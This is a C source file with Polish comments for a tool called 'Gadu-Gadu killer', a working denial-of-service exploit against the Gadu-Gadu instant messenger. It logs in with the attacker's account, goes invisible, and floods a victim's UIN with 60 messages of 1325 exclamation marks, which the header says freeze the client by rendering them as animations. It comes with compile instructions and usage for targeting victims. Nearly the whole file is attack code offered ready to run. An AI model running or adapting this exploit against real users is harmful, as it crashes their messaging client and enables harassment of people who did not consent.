/*
 * Gadu-Gadu killer
 * Maciej Soltysiak <maciej@soltysiak.com>
 *
 * Exploit polega na wyslaniu sporej ilosci wykrzyknikow, ktore Gadu-Gadu
 * Zrenderuje w graficzne animacje [!!] a to go zatka.
 * Na niektore maszyny potrafi nie dzialac jednak, ale na wiekszosc tak.
 *
 * Program wymaga libgadu
 *
 * compile:
 * gcc -o ggkill ggkill.c -lgadu
 * Jak buczy o ssl to dodaj -lssl
 *
 * Usage: ./ggkill <uin> <haslo> <ofiara>
 *
 * Wymagania:
 * - oczywiscie ofiara nie moze miec nas zablokowanych.
 * - ofiara miec wlaczone wyswietlanie emotikonow. Wszyscy maja
 *   wlaczone, wiec jakby nie bylo wymagania.
 *
 * Jest to kod dystrybuowany na licencji:
 * Creative Commons Uznanie autorstwa-Na tych samych warunkach 2.0 
 * http://creativecommons.org/licenses/by-sa/2.0/pl/
 *
 * Nie pytaj mnie jak to skompilowac pod windows!
 * ctrl+c przerywa program, wylogowujac sie ladnie.
 *
 * Program uzywa do logowania rozszerzenia GNU vasprintf() jak Ci
 * to nie pasuje przepisz kod. Ja bylem leniwy.
 *
 */

 
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <errno.h>
#include <libgadu.h>
#include <unistd.h>

void log_simple(const char *txt)
{
	/* The "!!" are to show it was log_simple */
	fprintf(stderr, "!! %s\n", txt);
	return;
}

void log_string(const char *fmt, ...)
{
	char buf[320];
	va_list args;
	int n;
	
	va_start(args, fmt);
	n = vsnprintf(buf, sizeof(buf), fmt, args);
	va_end(args);

	if (n >= sizeof(buf))
		log_simple("log_string: vsnprintf truncated");
	else if (n < 0)
		log_simple("log_string: vsnprintf failed");

	n = fprintf(stderr, ":: %s\n", buf);

	if (n < 0)
		log_simple("log_string: fprintf returned an error");
	
	return;
}


/* Global Gadu-Gadu handle */
struct gg_session *gadu_sess = NULL;

#define GG_CONN_TIMEOUT	10

void gadu_disconnect(void)
{
	if (gadu_sess != NULL)
	{
		log_simple("gadu_disconnect");
		gg_logoff(gadu_sess);
		gg_free_session(gadu_sess);
		gadu_sess = NULL;
	}
	return;
}


void gadu_connect(uin_t uin, char *pass)
{
	struct gg_login_params gadu_p;
	fd_set rd, wd;
	struct gg_event *e;
	struct timeval tv;
	int ret;

	memset(&gadu_p, 0, sizeof(gadu_p));
	gadu_p.uin = uin;
	gadu_p.password = pass;
	gadu_p.async = 1;

	gadu_sess = gg_login(&gadu_p);
	
	log_simple("gadu_connect: Waiting to connect.");
	
	for (;;) {
		FD_ZERO(&rd);
		FD_ZERO(&wd);

		if ((gadu_sess->check & GG_CHECK_READ))
			FD_SET(gadu_sess->fd, &rd);
		if ((gadu_sess->check & GG_CHECK_WRITE))
			FD_SET(gadu_sess->fd, &wd);

		tv.tv_sec = GG_CONN_TIMEOUT;
		tv.tv_usec = 0;
		
		ret = select(gadu_sess->fd + 1, &rd, &wd, NULL, &tv);
	
		if (!ret) {
			gadu_disconnect();
			return;
		} else {
			if (gadu_sess && (FD_ISSET(gadu_sess->fd, &rd) || FD_ISSET(gadu_sess->fd, &wd))) {
				if (!(e = gg_watch_fd(gadu_sess))) {
					log_simple("gadu_connect: connection lost!");
					gadu_disconnect();
					return;
				}
				if (e->type == GG_EVENT_CONN_SUCCESS) {
					log_simple("gadu_connect: success.");
					gg_free_event(e);
					break;
				}
				if (e->type == GG_EVENT_CONN_FAILED) {
					log_simple("gadu_connect: failed.");
					gg_free_event(e);
					gadu_disconnect();
					return;
				}
				gg_free_event(e);
			}
		}
	}

	/* to chyba zle pokazuje */
	log_string("gadu_connect: took %ld s %ld u.",
		GG_CONN_TIMEOUT - tv.tv_sec - 1, tv.tv_usec);
	
	/* set invisible */
	if (gadu_sess)
		gg_change_status(gadu_sess, GG_STATUS_INVISIBLE);
}

int main(int argc, char *argv[])
{
        uin_t v_uin;    /* victim */
        uin_t a_uin;    /* attacker */
	int s = 1325;
	unsigned char *b;
	int i = 60;
	
        if (argc != 4)
        {
                log_simple("skladnia: ggkill <twoj_uin> <twoje_haslo> <uin_ofiary>\n" \
                           "Pamietaj wylogowac sie ze swojegu uina z gadu.");
                return 0;
        }

        if ((a_uin = atoi(argv[1])) <= 0)
        {
                log_simple("Podaj twoj poprawny numer.");
                return 0;
        }

        if ((v_uin = atoi(argv[3])) <= 0)
        {
                log_simple("Podaj poprawny numer ofiary.");
                return 0;
        }

	b = (unsigned char *) malloc(s);

	if (!b)
	{
		log_simple("main: failled to malloc");
		return 0;
	}

	/* fill the buffer with shit */
	memset(b, '!', s);

	/* connect */
	gadu_connect(a_uin, argv[2]);

	/* send the shit */
	while(i--)
	{
		usleep(5e4);
		gg_send_message(gadu_sess, GG_CLASS_MSG, v_uin, b);
	}

	/* disconnect */
	gadu_disconnect();

	free(b);
	return 0;
}
